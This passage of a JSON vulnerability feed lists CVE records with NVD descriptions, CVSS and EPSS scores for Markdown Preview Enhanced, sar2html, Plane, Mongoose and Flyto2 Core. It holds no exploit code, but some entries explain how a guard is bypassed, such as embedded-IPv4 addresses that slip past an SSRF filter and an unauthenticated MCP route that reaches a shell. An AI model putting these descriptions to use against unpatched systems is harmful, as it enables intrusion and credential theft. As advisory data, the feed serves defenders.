2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-55381&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-55381, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-54702","cveId":"CVE-2026-54702","aliases":[],"kind":"vulnerability","title":"Markdown Preview Enhanced is a Markdown preview extension for Visual Studio Code.","summary":"Markdown Preview Enhanced is a Markdown preview extension for Visual Studio Code. Prior to 0.8.30, the webview message handler in src/preview-provider.ts accepts an attacker-controlled command value and attacker-controlled args, constructs a command in the _crossnote namespace, and invokes vscode.commands.executeCommand without an allowlist or type validation. JavaScript already executing in the preview webview can use this bridge to invoke privileged extension commands, including file modification, code-chunk execution, export-tool execution, and arbitrary URL opening, with attacker-selected arguments. Exploitation requires a separate webview JavaScript execution path, such as the independently tracked .crossnote/head.html injection, but no further authorization check protects the extension-host command boundary. This issue is fixed in version 0.8.30.","detail":"Markdown Preview Enhanced is a Markdown preview extension for Visual Studio Code. Prior to 0.8.30, the webview message handler in src/preview-provider.ts accepts an attacker-controlled command value and attacker-controlled args, constructs a command in the _crossnote namespace, and invokes vscode.commands.executeCommand without an allowlist or type validation. JavaScript already executing in the preview webview can use this bridge to invoke privileged extension commands, including file modification, code-chunk execution, export-tool execution, and arbitrary URL opening, with attacker-selected arguments. Exploitation requires a separate webview JavaScript execution path, such as the independently tracked .crossnote/head.html injection, but no further authorization check protects the extension-host command boundary. This issue is fixed in version 0.8.30.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-14T20:17:47.737Z","updatedAt":"2026-10-16T16:00:33.533Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Visual Studio"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.3,"version":"4.0","vector":"CVSS:4.0/AV:L/AC:L/AT:P/PR:N/UI:P/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-54702","asOf":"2026-10-16T16:00:33.533Z"},"epss":{"probability":0.00312,"percentile":0.23908,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-54702&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-54702","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-54702","type":"primary","publishedAt":"2026-10-14T20:17:47.737Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-54702&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-54702, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-54566","cveId":"CVE-2026-54566","aliases":[],"kind":"vulnerability","title":"Markdown Preview Enhanced is a Markdown preview extension for Visual Studio Code.","summary":"Markdown Preview Enhanced is a Markdown preview extension for Visual Studio Code. Prior to 0.8.29, Markdown Preview Enhanced evaluates repository-controlled .crossnote/config.js and .crossnote/parser.js files with vm.runInNewContext, which does not provide a security boundary from the Node.js host realm. Opening a Markdown file in a malicious repository automatically loads these files, and prototype-chain traversal can reach the host Function constructor and process object, allowing operating-system commands to execute as the victim account without further interaction. Both configuration evaluation and parser-hook evaluation are affected, and the attack does not depend on module-scoped require being available. This issue is fixed in version 0.8.29.","detail":"Markdown Preview Enhanced is a Markdown preview extension for Visual Studio Code. Prior to 0.8.29, Markdown Preview Enhanced evaluates repository-controlled .crossnote/config.js and .crossnote/parser.js files with vm.runInNewContext, which does not provide a security boundary from the Node.js host realm. Opening a Markdown file in a malicious repository automatically loads these files, and prototype-chain traversal can reach the host Function constructor and process object, allowing operating-system commands to execute as the victim account without further interaction. Both configuration evaluation and parser-hook evaluation are affected, and the attack does not depend on module-scoped require being available. This issue is fixed in version 0.8.29.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-14T20:17:47.403Z","updatedAt":"2026-10-16T16:00:33.533Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Visual Studio"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.5,"version":"4.0","vector":"CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:P/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-54566","asOf":"2026-10-16T16:00:33.533Z"},"epss":{"probability":0.00296,"percentile":0.2206,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-54566&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-54566","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-54566","type":"primary","publishedAt":"2026-10-14T20:17:47.403Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-54566&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-54566, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-110668","cveId":"CVE-2026-110668","aliases":[],"kind":"vulnerability","title":"A weakness has been identified in cemtan sar2html 4.0.0. Affected by this issue is the function index of the file sar2html.py.","summary":"A weakness has been identified in cemtan sar2html 4.0.0. Affected by this issue is the function index of the file sar2html.py. This manipulation of the argument sort causes sql injection. The attack is possible to be carried out remotely. The exploit has been made available to the public and could be used for attacks. The project was informed of the problem early through an issue report but has not responded yet.","detail":"A weakness has been identified in cemtan sar2html 4.0.0. Affected by this issue is the function index of the file sar2html.py. This manipulation of the argument sort causes sql injection. The attack is possible to be carried out remotely. The exploit has been made available to the public and could be used for attacks. The project was informed of the problem early through an issue report but has not responded yet.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-14T20:17:30.997Z","updatedAt":"2026-10-20T03:17:13.047Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":5.5,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-110668","asOf":"2026-10-20T03:17:13.047Z"},"epss":{"probability":0.00343,"percentile":0.2757,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-110668&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-110668","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-110668","type":"primary","publishedAt":"2026-10-14T20:17:30.997Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-110668&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-110668, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-102986","cveId":"CVE-2026-102986","aliases":[],"kind":"vulnerability","title":"Plane is an open-source project management tool.","summary":"Plane is an open-source project management tool. In 1.3.1 and earlier, EntityAssetEndpoint at the public project asset endpoint /api/public/assets/v2/anchor/{anchor}/ requires authentication for write operations but does not verify workspace or project membership. An authenticated user who knows a published project's public DeployBoard.anchor can create FileAsset records in that project and soft-delete existing assets by identifier, allowing cross-workspace file injection, storage abuse, and data loss. The issue is fixed in version 1.4.0.","detail":"Plane is an open-source project management tool. In 1.3.1 and earlier, EntityAssetEndpoint at the public project asset endpoint /api/public/assets/v2/anchor/{anchor}/ requires authentication for write operations but does not verify workspace or project membership. An authenticated user who knows a published project's public DeployBoard.anchor can create FileAsset records in that project and soft-delete existing assets by identifier, allowing cross-workspace file injection, storage abuse, and data loss. The issue is fixed in version 1.4.0.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-14T20:17:28.907Z","updatedAt":"2026-10-15T17:17:10.263Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.1,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-102986","asOf":"2026-10-15T17:17:10.263Z"},"epss":{"probability":0.00513,"percentile":0.43468,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-102986&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-102986","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-102986","type":"primary","publishedAt":"2026-10-14T20:17:28.907Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-102986&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-102986, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-73261","cveId":"CVE-2026-73261","aliases":[],"kind":"vulnerability","title":"Mongoose is an embedded web server and network library.","summary":"Mongoose is an embedded web server and network library. Prior to 7.23, the built-in TCP/IP stack enabled by MG_ENABLE_TCPIP in src/net_builtin.c does not reject a TCP option whose declared opts[1] length exceeds the remaining option bytes. In handle_opt(), a NOP followed by a truncated MSS option causes opts[3] to be read outside the declared options area and used as the low byte of dmss. An unauthenticated remote peer can corrupt the per-connection MSS value so later mg_send() calls transmit truncated or zero-length application payloads while the TCP connection otherwise appears healthy. This issue is fixed in version 7.23.","detail":"Mongoose is an embedded web server and network library. Prior to 7.23, the built-in TCP/IP stack enabled by MG_ENABLE_TCPIP in src/net_builtin.c does not reject a TCP option whose declared opts[1] length exceeds the remaining option bytes. In handle_opt(), a NOP followed by a truncated MSS option causes opts[3] to be read outside the declared options area and used as the low byte of dmss. An unauthenticated remote peer can corrupt the per-connection MSS value so later mg_send() calls transmit truncated or zero-length application payloads while the TCP connection otherwise appears healthy. This issue is fixed in version 7.23.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-14T19:17:19.990Z","updatedAt":"2026-10-16T20:04:29.760Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.5,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-73261","asOf":"2026-10-16T20:04:29.760Z"},"epss":{"probability":0.00349,"percentile":0.28311,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-73261&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-73261","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-73261","type":"primary","publishedAt":"2026-10-14T19:17:19.990Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-73261&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-73261, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-73260","cveId":"CVE-2026-73260","aliases":[],"kind":"vulnerability","title":"Mongoose is an embedded web server and network library.","summary":"Mongoose is an embedded web server and network library. Prior to 7.23, the built-in TLS certificate parser selected by MG_TLS_BUILTIN fails to verify that a long-form DER element length fits within the remaining certificate buffer. In mg_der_to_tlv() and mg_der_next(), a peer-controlled length can advance the parser beyond the certificate and underflow the remaining uint32_t length, causing mg_tls_parse_cert_der() to continue walking an invalid pointer. An unauthenticated malicious TLS server, or a client presenting a certificate to a server configured for client certificates, can trigger an out-of-bounds read and denial of service during the handshake. This issue is fixed in version 7.23.","detail":"Mongoose is an embedded web server and network library. Prior to 7.23, the built-in TLS certificate parser selected by MG_TLS_BUILTIN fails to verify that a long-form DER element length fits within the remaining certificate buffer. In mg_der_to_tlv() and mg_der_next(), a peer-controlled length can advance the parser beyond the certificate and underflow the remaining uint32_t length, causing mg_tls_parse_cert_der() to continue walking an invalid pointer. An unauthenticated malicious TLS server, or a client presenting a certificate to a server configured for client certificates, can trigger an out-of-bounds read and denial of service during the handshake. This issue is fixed in version 7.23.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-14T19:17:19.840Z","updatedAt":"2026-10-20T02:17:11.720Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.5,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-73260","asOf":"2026-10-20T02:17:11.720Z"},"epss":{"probability":0.0023,"percentile":0.13702,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-73260&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-73260","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-73260","type":"primary","publishedAt":"2026-10-14T19:17:19.840Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-73260&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-73260, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-73252","cveId":"CVE-2026-73252","aliases":[],"kind":"vulnerability","title":"Mongoose is an embedded web server and network library.","summary":"Mongoose is an embedded web server and network library. Prior to 7.23, the built-in TLS stack selected by MG_TLS_BUILTIN in src/tls_builtin.c accepts a TLS 1.3 record whose decrypted size is exactly the 16-byte authentication tag with no plaintext or ContentType byte. In mg_tls_recv_record(), the msgsz length check permits that record and the recv_len calculation underflows to SIZE_MAX, so a later handshake step treats stale buffer contents as a trusted message with an effectively unbounded length. An unauthenticated malicious TLS peer can trigger a heap out-of-bounds read before certificate or Finished validation, causing a remote denial of service. This issue is fixed in version 7.23.","detail":"Mongoose is an embedded web server and network library. Prior to 7.23, the built-in TLS stack selected by MG_TLS_BUILTIN in src/tls_builtin.c accepts a TLS 1.3 record whose decrypted size is exactly the 16-byte authentication tag with no plaintext or ContentType byte. In mg_tls_recv_record(), the msgsz length check permits that record and the recv_len calculation underflows to SIZE_MAX, so a later handshake step treats stale buffer contents as a trusted message with an effectively unbounded length. An unauthenticated malicious TLS peer can trigger a heap out-of-bounds read before certificate or Finished validation, causing a remote denial of service. This issue is fixed in version 7.23.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-14T19:17:19.667Z","updatedAt":"2026-10-16T20:04:29.760Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.5,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-73252","asOf":"2026-10-16T20:04:29.760Z"},"epss":{"probability":0.00376,"percentile":0.31324,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-73252&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-73252","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-73252","type":"primary","publishedAt":"2026-10-14T19:17:19.667Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-73252&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-73252, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-63626","cveId":"CVE-2026-63626","aliases":[],"kind":"vulnerability","title":"Mongoose is an embedded web server and network library.","summary":"Mongoose is an embedded web server and network library. Prior to 7.23, ppp_handle_ipv6cp() in src/l2_ppp.c trusts the 16-bit IPv6CP len field without checking it against the received payload size. On a PPP or PPPoE link using MG_ENABLE_TCPIP and MG_ENABLE_IPV6, an unauthenticated adjacent peer can complete the required LCP exchange and send a short Configure-Request with an oversized length, causing ppp_tx_frame() to read beyond recv_queue.buf and write beyond tx.buf. The same length misuse can also expose adjacent heap bytes in a reply or hang the event loop through find_opt(). This issue is fixed in version 7.23.","detail":"Mongoose is an embedded web server and network library. Prior to 7.23, ppp_handle_ipv6cp() in src/l2_ppp.c trusts the 16-bit IPv6CP len field without checking it against the received payload size. On a PPP or PPPoE link using MG_ENABLE_TCPIP and MG_ENABLE_IPV6, an unauthenticated adjacent peer can complete the required LCP exchange and send a short Configure-Request with an oversized length, causing ppp_tx_frame() to read beyond recv_queue.buf and write beyond tx.buf. The same length misuse can also expose adjacent heap bytes in a reply or hang the event loop through find_opt(). This issue is fixed in version 7.23.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-14T19:17:18.570Z","updatedAt":"2026-10-16T20:04:29.760Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-63626","asOf":"2026-10-16T20:04:29.760Z"},"epss":{"probability":0.00239,"percentile":0.14792,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-63626&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-63626","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-63626","type":"primary","publishedAt":"2026-10-14T19:17:18.570Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-63626&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-63626, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-55787","cveId":"CVE-2026-55787","aliases":[],"kind":"vulnerability","title":"Flyto2 Core is an execution kernel for automation and AI-agent workflows.","summary":"Flyto2 Core is an execution kernel for automation and AI-agent workflows. Prior to 2.26.3, validate_url_ssrf and is_private_ip in src/core/utils.py compare resolved addresses only against native private IPv4 and IPv6 ranges and do not unwrap IPv4-mapped, IPv4-compatible, 6to4, or NAT64 transition addresses. An authenticated workflow author can provide a transition-form literal URL through the Execution API POST /v1/execute route, http.get, or sibling guarded outbound-request modules, causing the guard to accept an address whose embedded IPv4 points to loopback, RFC 1918, or cloud metadata services. On a host that routes the selected transition form, the outbound request reaches the internal destination and returns the response body to the workflow caller, enabling read SSRF and disclosure of internal-service data or cloud credentials. This issue is fixed in version 2.26.3.","detail":"Flyto2 Core is an execution kernel for automation and AI-agent workflows. Prior to 2.26.3, validate_url_ssrf and is_private_ip in src/core/utils.py compare resolved addresses only against native private IPv4 and IPv6 ranges and do not unwrap IPv4-mapped, IPv4-compatible, 6to4, or NAT64 transition addresses. An authenticated workflow author can provide a transition-form literal URL through the Execution API POST /v1/execute route, http.get, or sibling guarded outbound-request modules, causing the guard to accept an address whose embedded IPv4 points to loopback, RFC 1918, or cloud metadata services. On a host that routes the selected transition form, the outbound request reaches the internal destination and returns the response body to the workflow caller, enabling read SSRF and disclosure of internal-service data or cloud credentials. This issue is fixed in version 2.26.3.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-14T19:17:17.927Z","updatedAt":"2026-10-16T20:04:29.760Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.1,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:L/A:N","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-55787","asOf":"2026-10-16T20:04:29.760Z"},"epss":{"probability":0.00292,"percentile":0.21574,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-55787&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-55787","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-55787","type":"primary","publishedAt":"2026-10-14T19:17:17.927Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-55787&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-55787, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-55786","cveId":"CVE-2026-55786","aliases":[],"kind":"vulnerability","title":"Flyto2 Core is an execution kernel for automation and AI-agent workflows.","summary":"Flyto2 Core is an execution kernel for automation and AI-agent workflows. From 2.26.2 until 2.26.4, the HTTP MCP POST /mcp route accepts unauthenticated JSON-RPC tools/call requests and forwards execute_module arguments to the module registry without the require_auth dependency used by the REST execution routes. An unauthenticated caller can select sandbox.execute_shell and supply its command parameter, which reaches asyncio.create_subprocess_shell with the privileges of the flyto-core server process. The endpoint is reachable locally under the default loopback binding and becomes network reachable when an operator binds the server to a non-loopback interface, allowing arbitrary OS command execution and potential full host compromise. This issue is fixed in version 2.26.4.","detail":"Flyto2 Core is an execution kernel for automation and AI-agent workflows. From 2.26.2 until 2.26.4, the HTTP MCP POST /mcp route accepts unauthenticated JSON-RPC tools/call requests and forwards execute_module arguments to the module registry without the require_auth dependency used by the REST execution routes. An unauthenticated caller can select sandbox.execute_shell and supply its command parameter, which reaches 